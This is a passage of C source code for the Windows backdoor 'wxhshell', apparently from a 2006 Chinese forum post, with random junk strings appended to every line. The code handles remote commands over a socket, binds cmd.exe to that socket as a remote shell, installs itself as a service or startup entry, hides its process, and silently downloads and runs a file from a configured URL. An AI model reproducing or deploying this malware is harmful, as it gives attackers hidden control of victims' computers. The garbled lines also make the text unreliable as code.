  // 安装 ErC[Zh"''  
  case 'i': { Cj+=9Dc  
    if(Install()) ~~,<+X:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC<I|&"  
    else K7c8_g*>4=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _O%p{t'q<  
    break; DG=Ap:sl*$  
    } ]o$/xP  
  // 卸载 rUjr'O0  
  case 'r': { Pa +BE[z  
    if(Uninstall()) D$E9%'ir  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `t&;Yk]-L  
    else C 5 UDez  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _4$DnQ6&  
    break; (?y2@I}  
    } 6,1|y%(f  
  // 显示 wxhshell 所在路径 5QJL0fc  
  case 'p': { h$\h PLx  
    char svExeFile[MAX_PATH]; us%RQ8=k  
    strcpy(svExeFile,"\n\r"); zQ}N mlk  
      strcat(svExeFile,ExeFile); CaBS0' n  
        send(wsh,svExeFile,strlen(svExeFile),0); %LHV0u  
    break; [Gy'0P(EQ  
    } `F8;{`a  
  // 重启 GN c|)$  
  case 'b': { h+D=/:B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D:tZiS=0  
    if(Boot(REBOOT)) ycD.:w p\'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Y\"^'OU\  
    else { V JL;+  
    closesocket(wsh); W2h[NimU  
    ExitThread(0); (t$/G3E  
    } cV,Dl`1r  
    break; Po. BcytM  
    } \r,. hUp  
  // 关机 &Ld8Z9IeFp  
  case 'd': { M) XQi/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m?$G(E5  
    if(Boot(SHUTDOWN)) }9 2lr87  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !p2,|6Y`y  
    else { D(U3zXdO  
    closesocket(wsh); Ilb |:x"L  
    ExitThread(0); N06O.bji  
    } agT[y/gb  
    break; e~]e9-L>I  
    } "IJMvTmj  
  // 获取shell MWh+h7k'  
  case 's': { q Xhf?x  
    CmdShell(wsh); _C=[bI@  
    closesocket(wsh); y4rJ-  
    ExitThread(0); Z3>3&|&  
    break; _)2TLA n3  
  } $ywh%OEH  
  // 退出 +N:6wZ7<f  
  case 'x': { xGv,%'u\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]},Q`n>$  
    CloseIt(wsh); J&65B./mD9  
    break; wg0.i?R-]  
    } ![ID0}MjJ  
  // 离开 -Bv1}xf=6  
  case 'q': { 9k[},MM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @i-@mxk6<  
    closesocket(wsh); DeQ'U!?+N  
    WSACleanup(); %&+R":Bw  
    exit(1); .0W4Dp  
    break; KVpAV$|e  
        } SLOYlRGCi  
  } 9~%]|_(  
  } ef:$1VIBda  
]G~N+\8]U  
  // 提示信息 QYw4kD}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  >E ;o"  
} /M*\t.[ 46  
  } 8;f<qu|w  
PG[O?l  
  return; o\;"|O}  
} N<"6=z@w+  
0*/ r'  
// shell模块句柄 !_H8Q}a  
int CmdShell(SOCKET sock) |SukiXJZF  
{ He-Ja  
STARTUPINFO si; UJ)M:~O  
ZeroMemory(&si,sizeof(si)); O8~U<'=*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C"Q=(3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AnE_<sPA  
PROCESS_INFORMATION ProcessInfo; @3TkD_B&  
char cmdline[]="cmd"; =)1YYJTe9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5@t uo`k  
  return 0; A+1]Ql)$  
} c$<O0dI  
To{G#QEgG  
// 自身启动模式 xc<eU`-' b  
int StartFromService(void) #0<y0uJ(y  
{ _.*4Y  
typedef struct :Z]hI+7  
{ ]op^dW1;0_  
  DWORD ExitStatus; bo!]  
  DWORD PebBaseAddress; ~eOj:H  
  DWORD AffinityMask; {G1aAM\Hz  
  DWORD BasePriority; 1L=Qg4 H  
  ULONG UniqueProcessId; s]<r  
  ULONG InheritedFromUniqueProcessId; fy=C!N&/  
}   PROCESS_BASIC_INFORMATION; p2c=;5|/Q  
$N+ {r=  
PROCNTQSIP NtQueryInformationProcess; hB$Y4~T%  
= EChH@3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %OTA5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Kzr-)JS  
K!D!b'|bb  
  HANDLE             hProcess; Pzm!`F^r}  
  PROCESS_BASIC_INFORMATION pbi; K9O,7h:x  
FDd>(!>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xt,,AGm}  
  if(NULL == hInst ) return 0; KkL:p?@n  
ZDkD%SCy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rE{Xo:Cf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IL[|CB1v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E%\7Uo-  
w]Ko/;;^2  
  if (!NtQueryInformationProcess) return 0; 90h1e7ZcC  
azDC'.3{p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Im%D(MY  
  if(!hProcess) return 0; Rp`_Grcd  
+`s&i%{1>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rq(~/Yc  
,[}yf#8@J  
  CloseHandle(hProcess); c<h!QnJ  
Gz[ym j)5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y0u'@l_[F  
if(hProcess==NULL) return 0; 7fW=5wc  
)Rhff$  
HMODULE hMod; n@07$lY@;  
char procName[255]; T:g4D z*2\  
unsigned long cbNeeded; X!#i@V  
ss0'GfP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A?;8%00  
[N95.aD  
  CloseHandle(hProcess); nvs}r%1'5  
SC $`  
if(strstr(procName,"services")) return 1; // 以服务启动 0n<(*bfW  
w^due P7J  
  return 0; // 注册表启动 *e-ptgO  
} ,y8I)+  
4/`h@]8P  
// 主模块 Y7:Y{7E7  
int StartWxhshell(LPSTR lpCmdLine) 9"HmHy&:E  
{ -Nlf~X  
  SOCKET wsl; Dd5xXs+c  
BOOL val=TRUE; lA.;ZD!  
  int port=0; aO^:dl5  
  struct sockaddr_in door; J%\~<_2ny  
x'@32gv  
  if(wscfg.ws_autoins) Install(); +i`Q 7+d  
:<t{ =0G  
port=atoi(lpCmdLine); 8G5) o`  
\Sw+]pr~  
if(port<=0) port=wscfg.ws_port; yK&* ,J |  
yA?ENAM  
  WSADATA data; e\A(#l@g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2 %{YYT   
hM36QOdm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,h@R' f !  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mP)3cc5T  
  door.sin_family = AF_INET; gP %|:"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); znQ'm^h  
  door.sin_port = htons(port); aucZJjH  
S[L#M;n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0tW<LR-}E  
closesocket(wsl); dDqr B-G  
return 1; J~iOP  
} W8G9rB|T  
Y[ iDX#  
  if(listen(wsl,2) == INVALID_SOCKET) { 62MRI    
closesocket(wsl); @QVqpE<|  
return 1; y7M:b Uh  
} CrNwALx  
  Wxhshell(wsl); `\/toddUh[  
  WSACleanup(); p- "Z'$A`  
Vedyy\TU  
return 0; zmB31' _  
w*<Y$hnBzF  
} [:nx);\  
BLL]^qN;Y  
// 以NT服务方式启动 "+n4c'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _}I(U?Q-C  
{ + %MO7vL  
DWORD   status = 0; (Pk"NEP   
  DWORD   specificError = 0xfffffff; pwFU2}I  
${eY9-r_%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /B,:<&_-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RHwaJ;:)#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <2)s<S.;  
  serviceStatus.dwWin32ExitCode     = 0; E7X!cm/2<  
  serviceStatus.dwServiceSpecificExitCode = 0; KMK&[E#r  
  serviceStatus.dwCheckPoint       = 0; IU Y> ih  
  serviceStatus.dwWaitHint       = 0; :H!(?(Pie  
k'[ S@+5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O ;X(pE/G  
  if (hServiceStatusHandle==0) return; :M22P`:  
\Y!T>nWn)I  
status = GetLastError(); lX98"}  
  if (status!=NO_ERROR) ]a$Wxvgq  
{ HYjMNj0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s;fVnaqG:  
    serviceStatus.dwCheckPoint       = 0; eeW' [  
    serviceStatus.dwWaitHint       = 0; uFwU-LCe  
    serviceStatus.dwWin32ExitCode     = status; )\T@W  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~Na=+}.q_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a -xW8  
    return; XJx,9trH  
  } $nB-ADRu@  
3[0w+{ (Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4GG1E. z}  
  serviceStatus.dwCheckPoint       = 0; $?FS00p*|X  
  serviceStatus.dwWaitHint       = 0; 7$!`p,@we/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 87QZun%  
} ="uKWt6n'  
I?_E,.)[ I  
// 处理NT服务事件,比如:启动、停止 eecw]P_?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R* s* +I  
{  }Vvsh3  
switch(fdwControl) "sF Xl  
{ rQ9*J   
case SERVICE_CONTROL_STOP: )!'n&UxPo$  
  serviceStatus.dwWin32ExitCode = 0; D 4< -8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ss? ]  
  serviceStatus.dwCheckPoint   = 0; S5i+vUI8C  
  serviceStatus.dwWaitHint     = 0; n K+lE0  
  { %&^Q(f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R<f#r03@|  
  } rr|"r  
  return; j~M#Ss-H8  
case SERVICE_CONTROL_PAUSE: I3Lg?bZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %mY|  
  break; CJzm}'NY  
case SERVICE_CONTROL_CONTINUE: }qc#lz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I"Q#IvNw  
  break; M[ x_#m|  
case SERVICE_CONTROL_INTERROGATE: \'n$&PFe  
  break; X'cf&>h  
}; u-m%=2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'oleB_B  
} B|cA[  
^9&b+u=X  
// 标准应用程序主函数 ?22d},.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PC*m% ?+  
{ `.{U-U\  
; D1FAz  
// 获取操作系统版本 pG/ NuImA  
OsIsNt=GetOsVer(); ]]>nbgGn#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H76E+AY  
ecn}iN  
  // 从命令行安装 :/+>e IE  
  if(strpbrk(lpCmdLine,"iI")) Install(); B;VH`*+X  
G49Ng|qn  
  // 下载执行文件 )T>8XCL\}  
if(wscfg.ws_downexe) { 31WZJm^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $Axng J c  
  WinExec(wscfg.ws_filenam,SW_HIDE); {tPnj_|n<  
} KwS`3 6:  
iJ}2"i7M  
if(!OsIsNt) { m&Lt6_vi  
// 如果时win9x,隐藏进程并且设置为注册表启动 F[5S(7M 7  
HideProc(); HtxLMzgz<<  
StartWxhshell(lpCmdLine); #nKRTb+{  
} g^1r0.Sp{8  
else  AlO,o[0  
  if(StartFromService()) YU&4yk lE  
  // 以服务方式启动 Ba<ngG !  
  StartServiceCtrlDispatcher(DispatchTable); SU/G)&Mi  
else ;t}'X[U  
  // 普通方式启动 z1F9$ ^  
  StartWxhshell(lpCmdLine); VsEGX@;tO  
x8Q~VVZr  
return 0; DlDB=N0@S  
}
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只看该作者 1 发表于: 2006-10-10
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